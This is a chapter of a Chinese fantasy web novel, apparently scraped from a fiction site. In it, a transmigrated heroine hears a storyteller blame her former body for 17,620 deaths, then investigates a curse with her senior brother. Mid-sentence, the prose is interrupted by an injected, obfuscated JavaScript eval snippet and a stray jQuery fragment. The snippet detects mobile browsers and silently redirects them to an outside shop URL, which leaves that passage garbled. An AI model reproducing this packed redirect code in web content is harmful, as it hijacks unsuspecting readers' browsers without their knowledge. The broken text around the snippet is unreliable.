文趣网 > 其他小说 > 反派圈套 > 8. 一万七千六百二
    “上回说到,江斗凝继任城主之位后点了三把火。”

    淅沥雨中,还是那间茶肆,还是那位说书艺人。醒木一拍,故事又开始了。

    “抱城人对其行径是苦不堪言,但碍于其城主之威势,化身之修为,只能怨往心中埋,凑合着把日子过了。”

    “好在天不绝人路,降生阎仙人!阎仙人师从怒目金刚度厄宗,承了一身正气,凛凛风骨。”

    “那日,阎仙人偶入抱城,眼睛往那街上一扫,便发觉平和之下江城主食人的真相。可怜仙人尚年幼,修为堪堪白脉,如何正面降住江斗凝?”

    “苦恼之下,阎仙人干脆掀了路边的货摊,假借闹事之名被抓进城主府内,进而成功潜入江斗凝行食人之事的秘地。”

    “且说这秘地,藏在城主府深地底,只江斗凝知进去的方法。阎仙人跟进去一瞧,只见幽幽鬼火空中荡,皑皑骸骨匝地铺,活脱脱一个小地狱。细数之下,竟躺着一万七千六百二十条性命。一万七千六百二十条啊!抱城彼时才有多少人?”

    “阎仙人忍痛收集证据,递予度厄宗。度厄宗得信大骇。惊于竟有如此罪行发生在煌煌青天之下,敬于阎仙人聪慧有谋识破魔头谎言,立即联系各仙门,合力讨伐江斗凝,便有了我们熟知的仙门大战。”

    “仙门大战内里曲折之后再表。只论这大战后,江斗凝身陨,抱城崩毁,城民四散而逃,不少逃到我们月城。”

    “风波已过,接着本是只管柴米油盐酱醋茶的安稳日子。哪知抱城人竟早被种下催命魔咒,难逃身死魂消之命途。不管身在何处,皆会暴毙惨死!”

    “如今,抱城人魂归天,身归地。上头禁论此事,但想必在场诸位心中已有答案。除了那位魔头,还会有谁去诅咒那么多人呐?”

    “唉——蟊贼蟊疾,靡有夷届!”

    /

    说书艺人的叹息落地后,吃茶的客人走了不少。

    被雨水浸凉的风溜进空荡的桌椅间,江斗妮守着变冷的茶水呆坐。

    自穿越后,她便躲进度厄宗故意不问世事。所以她不知,原来在世俗眼中,江斗凝早已死去。

    江斗凝怎么会死去呢?“她”明明完好地坐在这里。

    江斗凝怎么会死去呢……?

    但这难道不是最好的结局吗?

    她不必再提心吊胆,害怕他人将她与原身联系在一起,忧惧原身之罪反扑她身。江斗凝的死亡把她与原身彻底切割开,让她只成为自己。

    这是多么的完美!

    可是,江斗凝的死亡是清晰地写在小说中的,如今确切地发生在众人嘴里,意味着——

    她没有逃过命运。

    “江斗妮,你能承担未来的重量吗?”昨日关山越的话音化作命运无情的脚步声逼近她的耳畔。

    她把手伸到眼前瞧。许是泡了凉风,皮肤白到透明,青紫的血管微弱跳动。

    一万七千六百二十,是这具身体无法逃避的罪。

    这需要多大的报应来偿还呢?

    /

    细雨刺穿身体,风于耳边咆哮,缓缓人声荡作尖锐嚎叫。

    江斗妮奔跑在湿滑的青石板上,本用来遮挡相貌的面纱捂住她的口鼻,让她感到轻微的窒息。

    她不管不顾,挤开人与人肩膀间的缝隙,朝着月神庙的方向跑去。

    命运,命运,窥探命运的渴望在胸腔内膨胀。

    她要去握住那把由月石铸成的剑,看看她的未来。

    “妮妮?”

    “妮妮!”

    兀地,一只手扯住她的手腕,她的上半身不可抑制地往前倾斜,即将撞上一个柔软的,带有玉兰花香的胸膛。

    幸好她及时刹住脚步,稳住了身体。

    “妮妮,发生了何事?”对面人把伞举至她的头顶,开口,“怎么看起来……这么委屈?”

    江斗妮抬眼,正对上南无观焦急的眼。

    她立即低下头,吸了吸鼻子,道:“无事,只是听了个鬼故事。”

    一个替代下地狱入极热的鬼故事。

    “鬼故事啊,”南无观悄然施了个避水咒,转而笑,“这有什么、哦!你是不是还未见过鬼?改天我去抓几只来给你瞧瞧,看多了你便不会怕了。”

    “嗯。”她用鼻音回答。

    南无观声音里的笑意不减反增:“这般委屈,来,给师兄抱抱,师兄安慰你。”

    说着,伸手拥住她,一下接一下拍抚她的背脊。

    江斗妮顺从地把头埋到南无观的胸前,玉兰花的香气随着距离的拉近变得浓烈,仿佛要淹没她的脑袋。

    “师兄,如果有一日我杀了人,怎么办?”她的声音闷闷地冒出来。

    “啊?”南无观故作惊讶,“杀了几人?”

    “很多很多。”她攥住南无观胸前的衣料。

    “那只能陪你下地狱了。入地狱时,我多同判官讲讲你的好话,说不定他能免了我们的刑罚呢。不对,我应从现在起多行善事……”南无观越说越起劲,开始思考哪些善事偿恶的效用比较大。

    她不满道:“我杀的人比天上的星子还多。”

    “这么多啊——”南无观的声音同哄幼童一般软,“怕是要入无间了。那我们要在里面待几年?五百年?一千年?一万年?”

    她有些生气,从南无观的怀里挣脱出来:“师兄,你是笨蛋吗?”

    “你又没大没小地骂师兄。”南无观作出一副伤心样,“师兄还不是为了你,担心你会在地狱里过得不好。”

    “谁会在地狱里过得好啊!”她倒眉。

    “好啦好啦!你别担心,不管你去哪里,师兄都会陪着你的。”南无观用力揉她的头,弯腰寻她的眼,“你要知道,我可能比你认为的更了解你。”

    “说大话!”在气头上的她开始口无遮拦,“你都不知道你昨晚喝的酒是被我换了!”

    “嗯?”南无观意识到不对,“我说那酒怎么淡如水。”

    昨夜两人回到借住的客舍,南无观兴致上来,掏出珍藏的石榴酒打算畅饮一番。结果酒水入口,砸吧片刻后发现无滋无味,再一瞧,液体清澈无一丝红。

    “我拿错酒了?”南无观不信邪,检查完又开一坛石榴酒,倒出一杯先闻后品。

    “无色,无味,这真的是酒吗?”南无观对烛举着酒杯,十分不解。“我记得,这酒是一老人家赠予我的。他临时特地嘱咐,说这石榴酒时日愈长,酒香愈是醇厚。这怎么放个五十年,反而变成山泉水了?”

    坐在一旁的江斗妮双腿朝房门口偏,低声道:“师兄,会不会是你

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719563|208586||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    记岔了?老人家说的或许是时日愈长,酒香愈是寡淡。”

    “难道真的是……”

    南无观双手抱胸,如太阳般竖在江斗妮的面前,让她不敢睁眼。“我还以为真是我记错了!说说,你是何时换的酒?”

    问完,南无观自己先分析起来:“这两坛酒我一直放在芥子藏中,随身携带。我们离宗后基本上都是一起行动的,我并未发现你有什么奇怪的动作。难不成?”

    “是,”江斗妮干脆坦言,“酒我在宗门里的时候就偷偷换了。”

    “换走的酒呢?”

    “喝了。”

    “喝了?!”

    “谁让你不准我喝酒的,那段时间又天天在我耳边念叨那石榴酒有多甜美,我没忍住,就尝了几口。”

    “两坛酒,这叫尝了几口?”

    “不止我。”江斗妮弱弱反驳,“玉露师姐也喝了,我们一人一坛。”

    南无观一口气憋在鼻腔里,又重重地喷出来。最后实在忍不住,他拿食指戳江斗妮的额头。

    “你啊——”

    /

    今日,江斗妮与南无观计划着兵分两路,各去搜集关于“江斗凝的诅咒”的消息。如今在街头碰见,闹了一场,正好一起回客舍整理情报。

    江斗妮先说了在茶肆听到的戏言。

    南无观支头听完,道:“我说的果然不错,那艺人口中皆是胡言。也不知是收了哪家的好处,把止念夸得天上有地下无的。”

    这么一提,江斗妮倏忽忆起,《举心不止念》描绘的当年剧情中,南无观也在现场。

    “不过,”南无观的声音戳破江斗妮的恍惚,“我这边了解到的也差不多。大多城中人在听我提起‘江斗凝’三字后便摇头走了。稍微胆大的,也同那说书艺人一般,满口……责备。”

    南无观观察江斗妮的脸色。

    江斗妮道:“诅咒这种说法本就立不住脚,我们是不是不应该再在这上面花功夫?”

    诅咒本是契约的一种,缔约双方之一死亡,诅咒便会消散。既然江斗凝已死,“江斗凝的诅咒”便不可能存在。

    南无观点头,接道:“若从寻常死法入手——朔庄为收留的每一具抱城人尸体做了检验报告。”

    南无观掏出报告,铺在桌面上。“报告显示,没有毒药,没有蛊虫,没有致命外伤……唯一可能的死因是,极度缺水导致的渴死。”

    “渴死。”江斗妮诧异,“可抱月两城降水丰沛,泽被全城,今日都还落了雨,不可能出现大批人被渴死的情况。”

    “是啊,这就是最百思不得其解的地方,大概也是诅咒之说盛行的原因。”

    江斗妮回忆昨日顺水而去的六具尸体,其中有壮年,有老人,有妇女,也有婴孩……道:“抱城,这些人除了死状相似外,唯一的共同点就是抱城。”

    南无观附和道:“是,这些亡者与抱城有着直接的血缘关系。看来,我们需要去抱城一趟了。”

    江斗妮奇怪地看向南无观:“师兄,我们本就是要去抱城的。你不会忘记了吧?”

    “怎么会!”南无观的视线从江斗妮的脸飘到散在桌面的纸张上,“我当然记得,我们是要去寻失踪的鱼……鱼……”

    “师兄,人家名为无逾,时无逾。”